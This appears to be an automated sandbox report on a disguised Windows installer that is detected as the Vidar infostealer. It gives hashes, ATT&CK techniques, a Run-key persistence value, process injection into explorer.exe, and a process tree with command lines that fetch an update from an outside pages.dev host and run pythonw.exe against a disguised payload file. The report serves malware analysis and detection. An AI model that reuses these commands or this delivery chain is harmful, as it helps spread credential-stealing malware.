vidar | f0a6b89ec7eee83274cd484cea526b970a3ef28038799b0a5774bb33c5793b55

Analysis

user interaction
yes
max time kernel
149s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
13/03/2026, 01:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ProfluxeflowAiRC-win-Setup.exe
Size 112.7MB
Sample260313-b3a8qaax4m
SHA256 f0a6b89ec7eee83274cd484cea526b970a3ef28038799b0a5774bb33c5793b55
MD5 c310eab8bcc855473c69f77abd8bdb71
SHA1 ba197e35fc18e31b9cafe59b7d18d63da4564285
SHA512 90c74ad9cad6cefee4365a8be6b370fca4e5076e0322f103c4455e5c036933865100aab5831c9888cadebf73aad13e116043c02d25b66b0c62bb2b19fd525014
SSDEEP 3145728:VPp8uwd0MK6aH5Y3pK2+G42nlshsCEOxLDrxl8ULNn:4dK6aH5epK2+JylIRLrzL5
TLSH
T1F34833C1FAB611BBE94B0871507AE73B8B366C478538E753E7E01D13F861310A9AA177
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery vidar persistence stealer

Malware Config

Signatures

Detects Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/3004-332-0x00007FF647B50000-0x00007FF647C3E000-memory.dmp	family_vidar_v15

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\com.squirrel.ProfluxeflowAiRC.Discord = "C:\\Windows\\explorer.exe C:\\Users\\Admin\\AppData\\Local\\ProfluxeflowAiRC\\current\\Discord.exe"	Discord.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2924 set thread context of 3004	2924	pythonw.exe	95
PID 2924 set thread context of 2576	2924	pythonw.exe	96

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	Discord.exe
File opened for modification	C:\Windows\SystemTemp	Discord.exe

Executes dropped EXE 11 IoCs

pid	Process
1128	Discord.exe
2724	Discord.exe
2348	Discord.exe
2904	Discord.exe
1856	Discord.exe
1116	Discord.exe
4884	Discord.exe
4968	Discord.exe
3968	Update.exe
2228	Update.exe
2924	pythonw.exe

Loads dropped DLL 23 IoCs

pid	Process
2724	Discord.exe
2904	Discord.exe
2724	Discord.exe
2724	Discord.exe
2724	Discord.exe
2724	Discord.exe
4968	Discord.exe
1116	Discord.exe
1116	Discord.exe
1116	Discord.exe
1116	Discord.exe
1116	Discord.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe
2924	pythonw.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ProfluxeflowAiRC-win-Setup.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2192	ProfluxeflowAiRC-win-Setup.exe
2192	ProfluxeflowAiRC-win-Setup.exe
2192	ProfluxeflowAiRC-win-Setup.exe
2192	ProfluxeflowAiRC-win-Setup.exe
3968	Update.exe
3968	Update.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1128	Discord.exe
Token: SeCreatePagefilePrivilege	1128	Discord.exe
Token: SeShutdownPrivilege	1856	Discord.exe
Token: SeCreatePagefilePrivilege	1856	Discord.exe
Token: SeShutdownPrivilege	1856	Discord.exe
Token: SeCreatePagefilePrivilege	1856	Discord.exe
Token: SeDebugPrivilege	3968	Update.exe
Token: SeShutdownPrivilege	1856	Discord.exe
Token: SeCreatePagefilePrivilege	1856	Discord.exe
Token: SeShutdownPrivilege	1856	Discord.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1128	Discord.exe
1856	Discord.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 1128	2192	ProfluxeflowAiRC-win-Setup.exe	80
PID 1128 wrote to memory of 2724	1128	Discord.exe	81
PID 1128 wrote to memory of 2724	1128	Discord.exe	81
PID 1128 wrote to memory of 2348	1128	Discord.exe	82
PID 1128 wrote to memory of 2904	1128	Discord.exe	83
PID 1128 wrote to memory of 2904	1128	Discord.exe	83
PID 2192 wrote to memory of 1856	2192	ProfluxeflowAiRC-win-Setup.exe	84
PID 1856 wrote to memory of 1116	1856	Discord.exe	85
PID 1856 wrote to memory of 1116	1856	Discord.exe	85
PID 1856 wrote to memory of 4884	1856	Discord.exe	86
PID 1856 wrote to memory of 4968	1856	Discord.exe	87
PID 1856 wrote to memory of 4968	1856	Discord.exe	87
PID 1856 wrote to memory of 1904	1856	Discord.exe	88
PID 1904 wrote to memory of 3968	1904	cmd.exe	89
PID 1856 wrote to memory of 4552	1856	Discord.exe	91
PID 4552 wrote to memory of 2228	4552	cmd.exe	92
PID 2228 wrote to memory of 2924	2228	Update.exe	93
PID 2924 wrote to memory of 3004	2924	pythonw.exe	95
PID 2924 wrote to memory of 2576	2924	pythonw.exe	96

C:\Users\Admin\AppData\Local\Temp\ProfluxeflowAiRC-win-Setup.exe
"C:\Users\Admin\AppData\Local\Temp\ProfluxeflowAiRC-win-Setup.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
  "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --veloapp-install 1.6.0
  2⤵
  - Drops file in Windows directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1840,i,631818081966658707,10611598650050284968,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1836 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2724
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --field-trial-handle=1840,i,631818081966658707,10611598650050284968,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:11
    3⤵
    - Executes dropped EXE
    PID:2348
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --app-user-model-id=com.squirrel.ProfluxeflowAiRC.Discord --app-path="C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --field-trial-handle=1840,i,631818081966658707,10611598650050284968,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2468 /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2904
- C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
  "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in Windows directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1796,i,12595190882625142178,2997792958000802011,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1116
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --field-trial-handle=1796,i,12595190882625142178,2997792958000802011,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
    3⤵
    - Executes dropped EXE
    PID:4884
- - C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe
    "C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5" --app-user-model-id=com.squirrel.ProfluxeflowAiRC.Discord --app-path="C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\resources\app.asar" --enable-sandbox --video-capture-use-gpu-memory-buffer --lang --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1773365548454601 --launch-time-ticks=554928060 --field-trial-handle=1796,i,12595190882625142178,2997792958000802011,262144 --enable-features=EnableTransparentHwndEnlargement --disable-features=ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "Update.exe --update="https://messagebrokerunit.pages.dev""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\Update.exe
      Update.exe --update="https://messagebrokerunit.pages.dev"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "Update.exe --processStart="pythonw.exe" --process-start-args="LICENSE.txt""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\Update.exe
      Update.exe --processStart="pythonw.exe" --process-start-args="LICENSE.txt"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2228
    - - C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\app-3.5.7-beta2\pythonw.exe
        
        "C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\app-3.5.7-beta2\pythonw.exe" LICENSE.txt
        5⤵
        Suspicious use of SetThreadContext
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2924
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe
        6⤵
        
        PID:3004
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe
        6⤵
        
        PID:2576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

python.exe

Path C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\app-3.5.7-beta2\python.exe
Size 103KB
SHA256 a2a4eff8d0b0c845284c607d50a3b5b966ac5a3121736a2e38e165bd6644d9fe
MD5 e1997259b673d2dc48827ec195f6a675
SHA1 75d0d0ba42856c86e2678699e2e914f1741e29ac
SHA512 e9c8e3926b15d03519f82986dfd67f2344fc1bf96cc70827993f22f2aa83160156170edab307d2a6a70bfdeee57621fcc2cd0387c762821380f60f69ffbf86c7
SSDEEP 1536:7oKbuEYE+9z2wp+FavGmhMn+IhzZtzg/iERpyvcvR91fIbHfn9l:7oKbuAs0FNmhMn+IhNa/iERMTn
TLSH
T180A3E48A6A1E8191D5709570437B87F22B2C2F62A9C3C68DA7C17F16E97D2C1F609733
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pythonw.exe

Path C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\app-3.5.7-beta2\pythonw.exe
Size 101KB
SHA256 ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b
MD5 24edfd0985d76a1fb019e1dfddc27e9b
SHA1 23e36070be1d9fa6516b589a23afdc0adc35f9c7
SHA512 8190861d7ed34534e736234448dc7f0018de2c12f4befc58e4e9c6389b9797d70a42158d0ba69c45baefb1899cf906e722b8554565a3954230722b0964b7f5f5
SSDEEP 1536:UZ/JhIxHHWMpdPa5wiE21M8kJIGFvb1Cwf/G0siyvcvR9TfIkDwiE:UZhSwMpdCq/IM8uIGf9/G0spV
TLSH
T1DDA3F841E62DBDCDE548D1314A75D4F26E24ED317680A51EB7F37F0628312A3FA0A93A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GitHubDesktop.3.5.7-beta2.nupkg

Path C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\packages\GitHubDesktop.3.5.7-beta2.nupkg
Size 17.4MB
SHA256 3a744ead678569499ce1431358a0d62137716eb8820b882bd646337ffd4d0dda
MD5 4a38a98b7f34fd8d2ee18886e2f70b65
SHA1 f10982eee36c1ba7c0ac2bc886872f67a3a708b7
SHA512 2fffff980599dad6b23a9687ef566474799af6f7f092601beccfbf497f380a86e9e580ac16589d2b00a6c8538dba843730e9838cc7b6ef59b5505732c57a2792
SSDEEP 393216:dcQ5kj2ji5G/QsRCY8xnzZquB3QwsFat6h26fE59MX:dcQV4P9nzAuOg01X
TLSH
T1FE07337E80F65B87F13FF97D6AC8F68B2D719357A04285A9A80143F004CE6BD155EC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RELEASES

Path C:\Users\Admin\AppData\Local\4E7AFEBCFBAE000B22C7C85E5560F89A2A0280B4\packages\RELEASES
Size 84B
SHA256 65e712f41f7130e100b8eda059be5a9ba4723d9ff99ffb60e71e7988e1ba3c80
MD5 6f785ae6d423e7576c12fa45df4e92c6
SHA1 8e6da6c3ffeb2212b559fd345a0dc88cb97940a0
SHA512 327364c58c250f9baef37c8507732899bd514d262940cb4e4b3cdfb3138885fedafe1b1a3e739481bc10e92802e89463cecc0cdd8e995d15c8ec46613573cdef
TLSH
T10EA024CD5170311CCC41CD1D0037C145D33C5C1C733C735004551453147043510D0C41
MD5 SHA1 SHA512 TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 1449ffb15c3d426cbd1f114fcaa2d640572c77ba3369662bdcdd2189779cdd75
MD5 e04fdc2982c4e215c7d7cb17a6f3acb0
SHA1 e7e82bea2c587f897549371d2d62e734a1ca4ef4
SHA512 8e38d73945d7b466257667b0f5e3da659642f96c459eae2eb75919bc090333abb501e702ba1750af5c74aaf32063dff2f34d2935d1e201c88762f3fda786e8d2
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnGraphiteCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnGraphiteCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnGraphiteCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnGraphiteCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnGraphiteCache\index
Size 256KB
SHA256 0771d287641dce3f8b8bf85b0e8f7a7e9fb80d464a722aec12d2f40e77bf7d8a
MD5 06861be29a88c04c8bcb9faf61444b7b
SHA1 2002df080680635d052e9309d7939c35b6bcabeb
SHA512 418433649c71f53ed71ed8decc7b81239b60c6da5c7f46395254e4943aee1a26e01e0cda9617aa2bbe1edd770b69b59cdb05c323d92af81a20723493809af32d
SSDEEP 3:LsOllllklkXlI+//:LsUlPV//
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\DawnWebGPUCache\index
Size 256KB
SHA256 4838e54d0830d671910642d57b04edd7efecd67156e64c1ac4f711f40a2c64be
MD5 fab77a83611d46de8f6a667c12487fda
SHA1 9b6209c86193cd0fde93a619ecc37f84429b1970
SHA512 be64ed5d7426006db500a0fb63af7eb0db66612bc725c359dff44ca1897cea4b3becb9f34e9539a44cad3b3ded093991a5d9964d43ddfa3641f9dd03dc3eb3b2
SSDEEP 3:LsOllllklkXlXOu/:LsUlPeu/
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\GPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Local State
Size 434B
SHA256 1d66bc2911fc6c7e702dfecd014ea94da862e57e489a7aaba78bc3fb7f71321a
MD5 9b4fb0b644064ba97dd6a75e543704ff
SHA1 f8dcb1f86c4a9d882f726b01cb03365cf3ffbeb7
SHA512 23174800a94ed76c3bb4166e9a52091c530748f72149de36241809ebe1b3201d3727d454a4923d4472c49deb65bc77356254c9977a44926749f89b0ac45a558d
TLSH
T121E0F1B1A8512D50AF6C1900464F5302AC28A5AF5765CB25E9E403A783E3CE2CF1BC39
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Local Storage\leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Local Storage\leveldb\LOG
Size 291B
SHA256 59a699c673affe8e80f0c6ab358157b4e2d374ac5b66d0c5bc5eb326d216cc6d
MD5 cfc71ad6354951d240ebf32b67e0c19e
SHA1 282faa1165f7a626cbbc195a93146926a4404ccf
SHA512 0abdc24b25f6a34db8b0717acf9088818dbd17a47a5946ef1313b6b9c54cde8b7e4dae3f389e5879c5b2aeec2799b6e58e4ee2f33c90564e65f5cf8e51e3ca5a
TLSH
T113D07D1494DF817D0248401EE426B758CF7464047E89224C4FD8EE4D296A00DBC409DA
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\E3AFED0047B08059D0FADA10F400C1E5\Preferences
Size 122B
SHA256 3489a9fcea842f7bd4152b6ac5a20d493dfba1fdadaec75b503c8e5ffa0d9042
MD5 c2211c33b4af50e74d888ca4d28f3fad
SHA1 804e6bad9e0d0deb2d4cd221803d362fe2c310fa
SHA512 83d929bb34348fa0552897b526eb97fe3568f5d00a04b2ed5d9e4446fe68f1ed38fc33c7eeefa02090cf15179fd3d9337b783ba0dbae2434ff745d60bfbd172e
TLSH
T104B02B03B4005033020A16A40007CF0A28AD00341D07F504D0E0F2A82429C4C084701B
MD5 SHA1 SHA512 TLSH

Submit Download

D3DCompiler_47.dll

Path C:\Users\Admin\AppData\Local\ProfluxeflowAiRC\current\D3DCompiler_47.dll
Size 4.5MB
